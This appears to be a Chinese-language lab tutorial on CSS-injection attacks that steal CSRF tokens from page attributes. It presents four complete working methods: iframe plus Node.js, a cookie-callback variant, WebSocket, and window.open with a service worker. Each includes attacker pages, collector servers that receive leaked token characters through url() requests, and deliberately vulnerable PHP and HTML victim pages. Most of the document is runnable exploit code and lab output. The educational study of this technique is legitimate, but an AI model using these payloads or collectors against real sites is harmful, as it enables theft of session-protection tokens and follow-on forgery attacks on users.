目录
CSS注入窃取标签属性数据
简单的一个实验:
方法1:js+node.js实现
侧信道攻击
方法2:对比波兰研究院的方案
使用兄弟选择器
方法3:js+websocket实现CSS注入
实验实现:
方法4:window.open结合serviceworker
实验验证:
现代浏览器都已经不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在url()、expression()中执行JavaScript代码从而实现XSS。
但是目前CSS注入在窃取数据方面仍然非常有用的,下面分别来分析一下CSS注入 窃取标签属性数据CSS中可以使用数据选择器,根据不同的属性选择标签。
例:
<style>
p[a="abc"]{color :red ;}
</style>
<p a="abc">hello world</p>
数据选择器还可以匹配一些特征,比如xxx开头或者xxx结尾等。
CSS注入窃取标签属性数据
利用上面的性质我们可以看出来窃取页面标签属性中的数据,比如下面当csrfToken以某个字母开头时,可以通过url()通知攻击者,从而窃取csrfToken的第一位的值:
简单的一个实验:
在CSSinject目录下面新建
(1)css.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSS</title>
<link rel="stylesheet" href="./css.css">
<!-- 这里将css样式引入到hmtl页面中 -->
</head>
<body>
<input type="text" name="csrf" value="abcdef">;
</body>
</html>
这里首先引入了css.css样式 ,然后有一个输入,名为csrf,值为abcdef
(2)css.css:
input[name="csrf"][value^="a"] {
background: url(https://www.baidu.com);
}
这里就是通过标签选择器,选择到了name=csrf并且value是以a开头的输入,给它 设置一个背景,背景的URL是www.baidu.com
(3)测试
这里查看很明显成功的访问了
解决hidden
当然还有个问题,当标签type=hidden时浏览器是不允许我们设置background的,这样就无法触发
url()请求服务器解决方法之一是利用~CSS的兄弟选择器(必须是同一个父母),选择为后续所
有兄弟节点设置background。
方法1:js+node.js实现
侧信道攻击
(1)css.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>侧信道攻击</title>
</head>
<style>
#frames {
visibility: hidden;
}
</style>
<body>
<div id="current"></div>
<div id="time_to_next"></div>
<div id="frames"></div>
</body>
<script>
vuln_url = 'http://www.security.com/css.php?css=';
server_receive_token_url = 'http://127.0.0.1:8083/receive/';
server_return_token_url = 'http://127.0.0.1:8083/return';
chars = "ABCDEFGHIJKLMOPQRSTUVWXYZabcdefghigklimnopqrstuvwxyz1234567890".split("");
//md5其实全部都是小写的英文,这里完全可以将这些大写的英文删除掉
known = "";
function test_char(known, chars) {
document.getElementById('frames').innerHTML = "";
css = build_css(chars.map(v => known + v));
frame = document.createElement('iframe');
frame.src = vuln_url + css;
frame.style = "visibility:hidden;";
document.getElementById("frames").appendChild(frame);
setTimeout(function () {//监听
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", known_listener);
oReq.open("GET", server_return_token_url);
oReq.send();
}, 1000);
}
function build_css(values) {//拼接
css_payload = "";
for (var value in values) {
css_payload += "input[value^=\""
+ values[value]
+ "\"]{background-image:url("
+ server_receive_token_url
+ values[value]
+ ")%3B}";
}
return css_payload;
}
function known_listener() {//请求
document.getElementById("current").innerHTML = "Current Token:" + this.responseText;
if (known != this.responseText) {
known = this.responseText;
test_char(known, chars);
}
else {
known = this.responseText;
alert("CSRF token is :" + known);
}
}
test_char("", chars);
</script>
</html>
(2)css.css
input[name="csrf"][value^="0"] {
background: url(https://www.baidu.com);
}
(3)css.php
<?php
$token1=md5($_SERVER['HTTP_USER_AGENT']); //使用头部的一个字段生成了一段md5值
$token2=md5($token1); //这里将token1的值赋值给了token2
?>
<!doctype html><meta charset=utf-8>
<input value=<?=$token1?>>
<script>
var TOKEN="<?=$token2?>";
</script>
<style>
<?=preg_replace('#</style#i','#', $_GET['css'])?>
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
</style>
(4)css.js
首先需要一个服务端,用来存储生成的md5值
var express = require('express');
var app = express();
var path = require('path');
var token = "";
//采用CORS实现跨域,允许被攻击页面向服务器发送请求
app.all("*", function (req, res, next) {
//设置允许跨域的域名,*代表允许任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');
res.header("Access-Control-Allow-Credentials", true);
next()
})
//处理receive页面请求 --- 接收参数token
app.get('/receive/:token', function (req, res) {
token = req.params.token;
console.log(token)
res.send('ok');
});
//return页面请求,向客户端返回刚获取到的token
app.get('/return', function (req, res) {
res.send(token);
});
//返回恶意页面
app.get('/css.html', function (req, res) {
res.sendFile(path.join(__dirname, 'css.html'));
})
//配置本地服务器
var server = app.listen(8083, function () {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
(5)测试
首先模拟服务端使用node运行css.js
然后在浏览器中输入www.security.com/css.html
可以看到成功的爆破出了服务端生成的随机Token
那再看看服务端:
服务端这里也将Token的值逐步的打印了出来
结论:使用iframe将受害页面包含进来,可以对其进行CSS注入。
获取token,token存储位置:服务端创建变量token转发给客户端,并且将token数值打印输出到服务端。
方法2:对比波兰研究院的方案
(1)css.html
<!doctype html>
<meta charset=utf-8>
<script src="./css.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>
<script>
(async function () {
const EXPECTED_TOKEN_LENGTH = 32;
const ALPHABET = Array.from("0123456789abcdef");
const iframe = document.getElementById('iframe');
let extractedToken = '';
while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
clearTokenCookie(); //清空cookie
createIframeWithCss();
extractedToken = await getTokenFromCookie();
document.getElementById('token').textContent = extractedToken;
}
function getTokenFromCookie() {
return new Promise(resolve => {
const interval = setInterval(function () { //一直执行,直到cookie的值取出来
const token = Cookies.get('token'); //直接使用cookie获取token
if (token) {
clearInterval(interval);
resolve(token);
}
}, 50);
});
}
function clearTokenCookie() {
Cookies.remove('token');
}
function generateCSS() {
let css = '';
for (let char of ALPHABET) {
css += `input[value^="${extractedToken}${char}"] {
background: url(http://127.0.0.01:3000/token/${extractedToken}${char})
}`;
}
return css;
}
function createIframeWithCss() {
iframe.src = 'http://www.security.com/css.php/?css=' + encodeURIComponent(generateCSS());
}
})();
</script>
(2)css.js
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
const PORT = 3000;
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
const { token } = req.params;
// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
// token i tej samej wartości, która została przekazana w URL-u
res.cookie('token', token);
console.log(token);
res.send('');
});
app.get('/css.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});
app.get('/css.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
(3)css.css
input[name="csrf"][value^="0"] {
background: url(https://www.baidu.com);
}
(4)css.php
<?php
$token1=md5($_SERVER['HTTP_USER_AGENT']); //使用头部的一个字段生成了一段md5值
$token2=md5($token1); //这里将token1的值赋值给了token2
?>
<!doctype html><meta charset=utf-8>
<input value=<?=$token1?>>
<script>
var TOKEN="<?=$token2?>";
</script>
<style>
<?=preg_replace('#</style#i','#', $_GET['css'])?>
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
</style>
(5)安装js-cookie库
在VScode中创建一个名为package.json文件,并且将以下内容进行写入
{
"name": "css-attack-1",
"version": "1.0.0",
"description": "",
"main": "index.js",
"dependencies": {
"express": "^4.15.5",
"js-cookie": "^2.1.4"
},
"devDependencies": {},
"author": "",
"license": "ISC"
}
进入CMD命令行,移动到对应目录下:npm install
(6)这时候使用node监控 3000端口
(7)监控完成后,这时候就可以尝试访问www.security.com/css.html
可以看到,成功的爆出了Token的值
服务端:
注:如果访问不成功可以尝试换一个浏览器再次尝试访问
使用兄弟选择器
这里可以尝试将php中的input中修改类型为hidden,然后再尝试访问就会发现访问失败
<input type="hidden"<?=$token1?>> //修改后
<input type=<?=$token1?>> //原
再次访问:
可以看到,这个现在没有了输入框。因此无法爆出Token值
解决办法:使用兄弟元素
css.php文件
<input type="hidden"<?=$token1?>> //原
<input type="text"<?=$token1?>> //增加的
css.html文件
测试:
可以看到,成功的拿到了Token
方法3:js+websocket实现CSS注入
实验实现:
(1)websocket服务端
使用paycharm软件
需要进行WebSocketServer导包:
pip install SimpleWebSocketServer
我这里因为之前已经导入过了,所以没有下载
(2)服务端配置
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
PORT_HTTP = 8008
PORT_WS = 8000
class RequestHandler(BaseHTTPRequestHandler, WebSocket):
def do_GET(self):
"""Respond to a GET request."""
print("http GET request")
self.send_response(200)
self.end_headers()
ws.sendMessage(self.path)
return
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
class SimpleEcho(WebSocket):
def handleMessage(self):
# echo message back to client
print(self.address, 'new msg')
#self.sendMessage(self.data)
def handleConnected(self):
print(self.address, 'connected, opening http server')
global ws
ws = self
httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
server_thread = Thread(target=httpd.serve_forever)
server_thread.daemon = True
server_thread.start()
print('http is on 8000,and ws is on 8008:')
def handleClose(self):
print(self.address, 'closed')
server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()
(3)js_websocket.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div id="div"></div>
<iframe id="leakchar"></iframe>
</body>
<script>
const WS = "ws://127.0.0.1:8000";
const HTTP = "http://127.0.0.1:8008";
const ALPHABET = Array.from("0123456789abcdef");
var s = new WebSocket(WS);
s.onopen = function (event) {
console.log('connection open');
next('');
}
s.onmessage = function (event) {
let token = event.data.match(/\w+/)[0];
next(token);
}
s.onclose = function (event) {
console.log('bye');
}
function next(token) {
if (token.length < 32) {
console.log('leaking ' + token + '* ...');
document.getElementById('leakchar').src = 'http://www.security.com/CSSinject/js_websocket.php?css=' + generateCSS(token);
} else {
console.log('done, lets pwn');
changeEmail(token);
}
}
function generateCSS(token) {
let css = '';
for (let char of ALPHABET) {
css += `input[value^="${token}${char}"] ~*{background: url(http://127.0.0.1:8008/${token}${char})}`;
}
return css;
}
function changeEmail(token) {
var div = document.getElementById("div");
div.innerHTML = token;
}
</script>
</html>
(4)js_websocket.php
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
var_dump($token2);
?>
<!doctype html><meta charset=utf-8>
<input name="csrf" type=hidden value=<?=$token2 ?>>
<input >
<script>
var TOKEN = "<?=$token2 ?>";
</script>
<style>
/* 正则替换style闭合标签,防止恶意闭合,get方法获取css参数 */
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
(5)测试
首先开启pytcharm,运行服务器
然后浏览器尝试访问127.0.0.1/CSSinject/js_websocket.html
浏览器返回:
pytcharm返回:
可以看到成功的拿到了Token
方法4:window.open结合serviceworker
github上下载软件包:
GitHub - dxa4481/cssInjection: Stealing CSRF tokens with CSS injection (without iFrames)
实验验证:
(1)attacker.html
<html>
<body onclick="potatoes(0)">click somewhere to begin attack</body>
<script>
(function () {
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('./sw.js');
}
})()
//这里注册时加载sw.js,注册后就可以监听到了
localStorage.removeItem('csrfToken');
var potatoes = function (count) {
var csrfToken = localStorage.getItem("csrfToken");
if (!csrfToken) { //第二次
csrfToken = '';
}
var css = `#sensitiveForm input[value^='${csrfToken}a'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}a); } #sensitiveForm input[value^='${csrfToken}b'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}b); } #sensitiveForm input[value^='${csrfToken}c'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}c); } #sensitiveForm input[value^='${csrfToken}d'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}d); } #sensitiveForm input[value^='${csrfToken}e'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}e); } #sensitiveForm input[value^='${csrfToken}f'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}f); } #sensitiveForm input[value^='${csrfToken}g'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}g); } #sensitiveForm input[value^='${csrfToken}h'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}h); } #sensitiveForm input[value^='${csrfToken}i'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}i); } #sensitiveForm input[value^='${csrfToken}j'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}j); } #sensitiveForm input[value^='${csrfToken}k'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}k); } #sensitiveForm input[value^='${csrfToken}l'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}l); } #sensitiveForm input[value^='${csrfToken}m'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}m); } #sensitiveForm input[value^='${csrfToken}n'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}n); } #sensitiveForm input[value^='${csrfToken}o'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}o); } #sensitiveForm input[value^='${csrfToken}p'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}p); } #sensitiveForm input[value^='${csrfToken}q'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}q); } #sensitiveForm input[value^='${csrfToken}r'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}r); } #sensitiveForm input[value^='${csrfToken}s'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}s); } #sensitiveForm input[value^='${csrfToken}t'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}t); } #sensitiveForm input[value^='${csrfToken}u'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}u); } #sensitiveForm input[value^='${csrfToken}v'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}v); } #sensitiveForm input[value^='${csrfToken}w'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}w); } #sensitiveForm input[value^='${csrfToken}x'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}x); } #sensitiveForm input[value^='${csrfToken}y'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}y); } #sensitiveForm input[value^='${csrfToken}z'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}z); } #sensitiveForm input[value^='${csrfToken}A'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}A); } #sensitiveForm input[value^='${csrfToken}B'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}B); } #sensitiveForm input[value^='${csrfToken}C'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}C); } #sensitiveForm input[value^='${csrfToken}D'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}D); } #sensitiveForm input[value^='${csrfToken}E'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}E); } #sensitiveForm input[value^='${csrfToken}F'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}F); } #sensitiveForm input[value^='${csrfToken}G'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}G); } #sensitiveForm input[value^='${csrfToken}H'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}H); } #sensitiveForm input[value^='${csrfToken}I'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}I); } #sensitiveForm input[value^='${csrfToken}J'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}J); } #sensitiveForm input[value^='${csrfToken}K'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}K); } #sensitiveForm input[value^='${csrfToken}L'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}L); } #sensitiveForm input[value^='${csrfToken}M'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}M); } #sensitiveForm input[value^='${csrfToken}N'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}N); } #sensitiveForm input[value^='${csrfToken}O'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}O); } #sensitiveForm input[value^='${csrfToken}P'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}P); } #sensitiveForm input[value^='${csrfToken}Q'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Q); } #sensitiveForm input[value^='${csrfToken}R'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}R); } #sensitiveForm input[value^='${csrfToken}S'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}S); } #sensitiveForm input[value^='${csrfToken}T'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}T); } #sensitiveForm input[value^='${csrfToken}U'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}U); } #sensitiveForm input[value^='${csrfToken}V'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}V); } #sensitiveForm input[value^='${csrfToken}W'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}W); } #sensitiveForm input[value^='${csrfToken}X'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}X); } #sensitiveForm input[value^='${csrfToken}Y'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Y); } #sensitiveForm input[value^='${csrfToken}Z'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Z); } #sensitiveForm input[value^='${csrfToken}0'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}0); } #sensitiveForm input[value^='${csrfToken}1'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}1); } #sensitiveForm input[value^='${csrfToken}2'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}2); } #sensitiveForm input[value^='${csrfToken}3'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}3); } #sensitiveForm input[value^='${csrfToken}4'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}4); } #sensitiveForm input[value^='${csrfToken}5'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}5); } #sensitiveForm input[value^='${csrfToken}6'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}6); } #sensitiveForm input[value^='${csrfToken}7'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}7); } #sensitiveForm input[value^='${csrfToken}8'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}8); } #sensitiveForm input[value^='${csrfToken}9'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}9); }`
var win2 = window.open('http://127.0.0.1/openlab/cssinjection/index.php', 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
var win2 = window.open(`http://127.0.0.1/openlab/cssinjection/victim.html?injection=${css}`, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
win2.blur();
var newCount = count + 1;
if (csrfToken.length == 20) {
return null;
}
setTimeout(function () {
potatoes(newCount);
}, 2000);
}
window.addEventListener('storage', function (e) { //监听storage事件
if (e.key == "csrfToken") {
document.getElementById("CSRFToken").innerHTML = e.newValue;
}
});
</script>
</br>
The CSRF token is:
<div id="CSRFToken"></div>
</html>
(2)mockingTheBackend.js
navigator.serviceWorker.addEventListener("message", receiveMessage);
function receiveMessage(event) {
console.log("got message");
localStorage.setItem("csrfToken", event.data);
}
(3)sw.js
self.addEventListener('fetch', function (event) { //监听fetch事件就是
var urlLogged = event.request.url; //监听到请求
if (urlLogged.indexOf("/log.php/") >= 0 && urlLogged.indexOf("victim") == -1) {
//这里这里是否有log.php并且是否有请求页面
var splitted = urlLogged.split("/log.php/");
var csrfToken = splitted[splitted.length - 1];
console.log(csrfToken);
self.clients.matchAll().then(all => all.map(client => client.postMessage(csrfToken))); //
}
});
(4)victim.html
<html>
<form action="http://127.0.0.1" id="sensitiveForm">
<input id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i">
</form>
<script>
var fragment = decodeURIComponent(window.location.href.split("?injection=")[1]);
var htmlEncode = fragment.replace(/</g, "<").replace(/>/g, ">");
document.write("<style>" + htmlEncode + "</style>");
</script>
<script src="./mockingTheBackend.js"></script>
</html>
(5)测试
未点击前:
点击后: